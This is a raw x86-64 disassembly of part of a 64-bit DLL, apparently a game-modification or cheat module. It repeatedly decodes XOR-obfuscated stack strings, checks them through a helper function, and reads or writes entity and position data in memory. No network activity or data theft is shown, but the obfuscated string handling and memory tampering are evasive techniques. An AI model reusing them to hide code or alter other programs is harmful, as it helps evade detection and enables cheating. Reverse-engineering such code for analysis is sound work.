mov rax, qword [0x1802491f8]
cmp qword [rsi + 0xd0], r14
je 0x1800a0be9
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], r14b
mov rcx, r15
call fcn.1800ae6e0
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 1
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.1800ae6e0
jmp 0x1800a0c14
call rax
mov rcx, rax
call rbx
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 1
call rbx
mov rcx, rdi
mov rbx, qword [0x180249410]
mov rax, qword [0x1802491f8]
cmp qword [rsi + 0xd0], r14
je 0x1800a0c8f
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], r14b
mov rcx, r15
call fcn.1800ae6e0
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 2
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.1800ae6e0
jmp 0x1800a0cba
call rax
mov rcx, rax
call rbx
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 2
call rbx
mov rcx, rdi
mov rbx, qword [0x180249410]
mov rax, qword [0x1802491f8]
cmp qword [rsi + 0xd0], r14
je 0x1800a0d35
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], r14b
mov rcx, r15
call fcn.1800ae6e0
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 3
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.1800ae6e0
jmp 0x1800a0d60
call rax
mov rcx, rax
call rbx
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 3
call rbx
mov rcx, rdi
mov rbx, qword [0x180249410]
mov rax, qword [0x1802491f8]
cmp qword [rsi + 0xd0], r14
je 0x1800a0ddb
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], r14b
mov rcx, r15
call fcn.1800ae6e0
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 4
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.1800ae6e0
jmp 0x1800a0e06
call rax
mov rcx, rax
call rbx
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 4
call rbx
mov rcx, rdi
mov rbx, qword [0x180249410]
mov rax, qword [0x1802491f8]
cmp qword [rsi + 0xd0], r14
je 0x1800a0e81
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], r14b
mov rcx, r15
call fcn.1800ae6e0
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 5
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.1800ae6e0
jmp 0x1800a0eac
call rax
mov rcx, rax
call rbx
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 5
call rbx
mov rcx, rdi
mov rbx, qword [0x180249410]
mov rax, qword [0x1802491f8]
cmp qword [rsi + 0xd0], r14
je 0x1800a0f27
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], r14b
mov rcx, r15
call fcn.1800ae6e0
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 6
call rbx
mov r8, qword [0x18024b0a0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.1800ae6e0
jmp 0x1800a0f52
call rax
mov rcx, rax
call rbx
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249430]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 6
call rbx
call fcn.180016980
movss xmm9, dword [0x1801ad7d4]
addss xmm0, xmm9
call fcn.1800257a0
lea rcx, [rbp + 0xa18]
call fcn.180016840
mov r8d, r14d
movss xmm0, dword [rax]
mov eax, dword [str.nS_81D]
mov dword [rbp + 0x1c58], eax
movzx eax, word [0x1801c40bc]
mov word [rbp + 0x1c5c], ax
movzx eax, byte [0x1801c40be]
movss dword [rbp + 0xa20], xmm0
movsd xmm0, qword [0x1801c40b0]
mov byte [rbp + 0x1c5e], al
mov dword [rbp + 0xa24], 0x42200000
movsd qword [rbp + 0x1c50], xmm0
cmp r12d, 2
jl 0x1800a10bd
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c40b0]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1c50], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1c54]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1c54], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1c50]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1800a10d0
lea rdx, [rbp + 0xa20]
lea rcx, [rbp + 0x1c50]
call fcn.180002c70
test al, al
je 0x1800a1181
cmp qword [0x18024b0a0], r14
je 0x1800a1181
mov rax, qword [0x180249270]
movsxd rdx, dword [0x18024b4f8]
mov r9, qword [rax]
mov rax, qword [r9 + 8]
movzx r8d, byte [rax + rdx]
mov eax, dword [r9 + 0x14]
and r8d, 0x80
neg r8
imul eax, edx
sar r8, 0x3f
not r8
add rax, qword [r9]
and rax, r8
je 0x1800a1181
movsd xmm0, qword [rax + 0x90]
movsd qword [0x1802494bc], xmm0
mov eax, dword [rax + 0x98]
mov dword [0x1802494c4], eax
mov byte [0x180249499], 1
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
lea rcx, [rbp + 0xa28]
call fcn.180016840
movups xmm1, xmmword [str.eG_ZNZHX]
movss xmm0, dword [rax]
movups xmmword [rbp + 0x1e70], xmm1
mov dword [rbp + 0xa34], 0x42200000
psrldq xmm1, 0xf
movd eax, xmm1
movss dword [rbp + 0xa30], xmm0
test al, al
je 0x1800a1334
cmp r12d, 2
jl 0x1800a12f5
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1e74]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1800a1200
jmp 0x1800a1334
lea r9, [rbp + 0x1e70]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1800a1300
lea rdx, [rbp + 0xa30]
lea rcx, [rbp + 0x1e70]
call fcn.180002c70
test al, al
je 0x1800a13a3
cmp qword [0x18024b0a0], r14
mov byte [0x180248fa4], r14b
je 0x1800a13a3
mov rax, qword [0x180249270]
movsxd rdx, dword [0x18024b4f8]
mov r9, qword [rax]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x1800a13a3
mov qword [0x180249468], rcx
mov byte [0x180249463], 1
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
lea rcx, [rbp + 0xa38]
call fcn.180016840
cmp byte [0x1801c40e1], r14b
movups xmm1, xmmword [0x1801c40d0]
movss xmm0, dword [rax]
movzx eax, word [0x1801c40e0]
mov word [rbp + 0x2158], ax
movss dword [rbp + 0xa40], xmm0
mov dword [rbp + 0xa44], 0x42200000
movups xmmword [rbp + 0x2148], xmm1
je 0x1800a1564
mov r8d, r14d
cmp r12d, 2
jl 0x1800a151b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x214c]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a1420
cmp r8d, 0x12
jge 0x1800a1564
movsxd rax, r8d
lea r9, [rbp + 0x2148]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x1800a1530
lea rdx, [rbp + 0xa40]
lea rcx, [rbp + 0x2148]
call fcn.180002c70
test al, al
je 0x1800a1582
mov byte [0x180249463], r14b
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
lea rcx, [rbp + 0xa48]
call fcn.180016840
mov r8d, r14d
movups xmm1, xmmword [0x1801c40e8]
movss xmm0, dword [rax]
movzx eax, word [0x1801c40f8]
mov word [rbp + 0x2380], ax
movzx eax, byte [0x1801c40fa]
mov byte [rbp + 0x2382], al
movss dword [rbp + 0xa50], xmm0
mov dword [rbp + 0xa54], 0x42200000
movups xmmword [rbp + 0x2370], xmm1
cmp r12d, 2
jl 0x1800a16fb
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2374]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a1600
cmp r8d, 0x13
jge 0x1800a1744
movsxd rax, r8d
lea r9, [rbp + 0x2370]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x1800a1710
lea rdx, [rbp + 0xa50]
lea rcx, [rbp + 0x2370]
call fcn.180002c70
test al, al
je 0x1800a17ee
cmp qword [0x18024b0a0], r14
je 0x1800a17ee
mov rax, qword [0x180249270]
movsxd rdx, dword [0x18024b4f8]
mov r9, qword [rax]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x1800a17ee
mov rax, qword [0x1802492f0]
mov rdi, qword [rax + rcx]
test rdi, rdi
je 0x1800a17ee
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249410]
call rax
mov rcx, rax
call rbx
mov rax, qword [0x1802491f8]
mov rcx, rdi
mov rbx, qword [0x180249400]
call rax
mov rcx, rax
xor r8d, r8d
mov edx, 1
call rbx
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
lea rcx, [rbp + 0xa58]
call fcn.180016840
cmp byte [0x1801c410b], r14b
movss xmm0, dword [rax]
mov eax, dword [0x1801c4108]
movss dword [rbp + 0xa60], xmm0
movsd xmm0, qword [0x1801c4100]
movsd qword [rbp + 0x14e8], xmm0
mov dword [rbp + 0xa64], 0x42200000
mov dword [rbp + 0x14f0], eax
je 0x1800a1984
mov r8d, r14d
cmp r12d, 2
jl 0x1800a1942
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c4100]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x14e8], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x14ec]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x14ec], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x14e8]
add r9, rax
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800a1950
lea rdx, [rbp + 0xa60]
lea rcx, [rbp + 0x14e8]
call fcn.180002c70
test al, al
je 0x1800a1a2f
cmp qword [0x18024b0a0], r14
je 0x1800a1a2f
mov rax, qword [0x180249270]
movsxd rdx, dword [0x18024b4f8]
mov r9, qword [rax]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x1800a1a2f
mov rax, qword [0x1802492f0]
mov rcx, qword [rax + rcx]
test rcx, rcx
je 0x1800a1a2f
mov rcx, qword [rcx + 0x48]
mov rax, qword [0x180249208]
mov rcx, qword [rcx + 0x20]
call rax
mov rdx, qword [0x18024b0a0]
mov rcx, qword [0x1802492f0]
mov rcx, qword [rcx + rdx]
test rcx, rcx
je 0x1800a1a2f
mov rcx, qword [rcx + 0x48]
mov rdx, rax
mov rcx, qword [rcx + 0x20]
call qword [0x180249218]
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
lea rcx, [rbp + 0xa68]
call fcn.180016840
lea rdx, [rbp + 0xa70]
lea rcx, [rbp + 0xd98]
movss xmm0, dword [rax]
movzx eax, byte [0x1801c4118]
movss dword [rbp + 0xa70], xmm0
xor al, 0x3e
movsd xmm0, qword [0x1801c4110]
movsd qword [rbp + 0xd98], xmm0
xor byte [rbp + 0xd99], 0x37
xor byte [rbp + 0xd9a], 0x38
xor byte [rbp + 0xd9b], 0x39
xor byte [rbp + 0xd9c], 0x3a
xor byte [rbp + 0xd9d], 0x3b
xor byte [rbp + 0xd9e], 0x3c
xor byte [rbp + 0xd9f], 0x3d
mov byte [rbp + 0xd98], 0x43
mov dword [rbp + 0xa74], 0x42200000
mov byte [rbp + 0xda0], al
call fcn.180002c70
test al, al
je 0x1800a1b34
cmp qword [0x18024b0a0], r14
je 0x1800a1b34
mov rax, qword [0x180249270]
movsxd rdx, dword [0x18024b4f8]
mov r9, qword [rax]
mov rax, qword [r9 + 8]
movzx r8d, byte [rax + rdx]
mov eax, dword [r9 + 0x14]
and r8d, 0x80
neg r8
imul eax, edx
sar r8, 0x3f
not r8
add rax, qword [r9]
and rax, r8
je 0x1800a1b34
movsd xmm0, qword [rax + 0x90]
movsd qword [0x1802494bc], xmm0
mov eax, dword [rax + 0x98]
mov dword [0x1802494c4], eax
mov byte [0x1802494b9], 1
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
lea rcx, [rbp + 0xa78]
call fcn.180016840
cmp byte [0x1801c412b], r14b
movss xmm0, dword [rax]
mov eax, dword [0x1801c4128]
movss dword [rbp + 0xa80], xmm0
movsd xmm0, qword [0x1801c4120]
movsd qword [rbp + 0x14f8], xmm0
mov dword [rbp + 0xa84], 0x42200000
mov dword [rbp + 0x1500], eax
je 0x1800a1cd4
mov r8d, r14d
cmp r12d, 2
jl 0x1800a1c88
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c4120]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x14f8], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x14fc]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x14fc], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x14f8]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800a1ca0
lea rdx, [rbp + 0xa80]
lea rcx, [rbp + 0x14f8]
call fcn.180002c70
test al, al
je 0x1800a1d70
cmp qword [0x18024b0a0], r14
je 0x1800a1d70
mov rax, qword [0x180249270]
movsxd rdx, dword [0x18024b4f8]
mov r9, qword [rax]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x1800a1d70
mov rax, qword [0x1802492f0]
mov rcx, qword [rax + rcx]
test rcx, rcx
je 0x1800a1d70
mov rax, qword [0x1802491f8]
call rax
mov rdx, qword [0x1802491f8]
mov rbx, rax
mov rcx, qword [0x18024b0a0]
call rdx
mov r8d, 1
mov rdx, rax
mov rcx, rbx
call qword [0x180249418]
call fcn.180016980
addss xmm0, xmm9
call fcn.1800257a0
lea rcx, [rbp + 0xa88]
call fcn.180016840
mov r8d, r14d
movss xmm0, dword [rax]
mov eax, dword [0x1801c4138]
movss dword [rbp + 0xa90], xmm0
movsd xmm0, qword [str.eC_XVesHJY_5B]
mov dword [rbp + 0x18c8], eax
movzx eax, byte [0x1801c413c]
movsd qword [rbp + 0x18c0], xmm0
mov byte [rbp + 0x18cc], al
mov dword [rbp + 0xa94], 0x42200000
cmp r12d, 2
jl 0x1800a1ec4
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.eC_XVesHJY_5B]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x18c0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x18c4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x18c4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x18c0]
add r9, rax
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800a1ed1
lea rdx, [rbp + 0xa90]
lea rcx, [rbp + 0x18c0]
call fcn.180002c70
test al, al
je 0x1800a21c8
mov rax, qword [0x180249270]
mov r9, qword [rax]
test r9, r9
je 0x1800a21c8
movsxd rdx, dword [0x18024b4f8]
mov r15d, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul r15d, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add r15, qword [r9]
neg r8
sar r8, 0x3f
not r8
and r15, r8
je 0x1800a21c8
mov rdx, qword [0x18024b0a0]
mov rcx, qword [rdx + 0x20]
test rcx, rcx
je 0x1800a21c8
mov rax, qword [r15 + 0x20]
test rax, rax
je 0x1800a21c8
mov eax, dword [rax + 0x18]
cmp dword [rcx + 0x18], eax
jne 0x1800a1ff0
mov ebx, r14d
mov rdi, r14
mov esi, 0xe8
nop dword [rax]
cmp qword [rdx + 0x48], r14
je 0x1800a1fdd
mov rax, qword [r15 + 0x48]
mov r8d, ebx
movzx ecx, byte [rdi + rax + 0x124]
movzx r9d, byte [rax + rsi]
movzx eax, byte [rdi + rax + 0x130]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ecx
lea rcx, [0x18024b4e0]
call fcn.1800e7d80
mov rdx, qword [0x18024b0a0]
inc ebx
inc rdi
add rsi, 4
cmp ebx, 0xc
jl 0x1800a1fa0
jmp 0x1800a21c8
movzx eax, word [0x1801c4170]
mov r8d, r14d
mov word [rbp + 0x2de0], ax
movzx eax, byte [0x1801c4172]
mov byte [rbp + 0x2de2], al
movups xmm0, xmmword [0x1801c4140]
movups xmm1, xmmword [0x1801c4150]
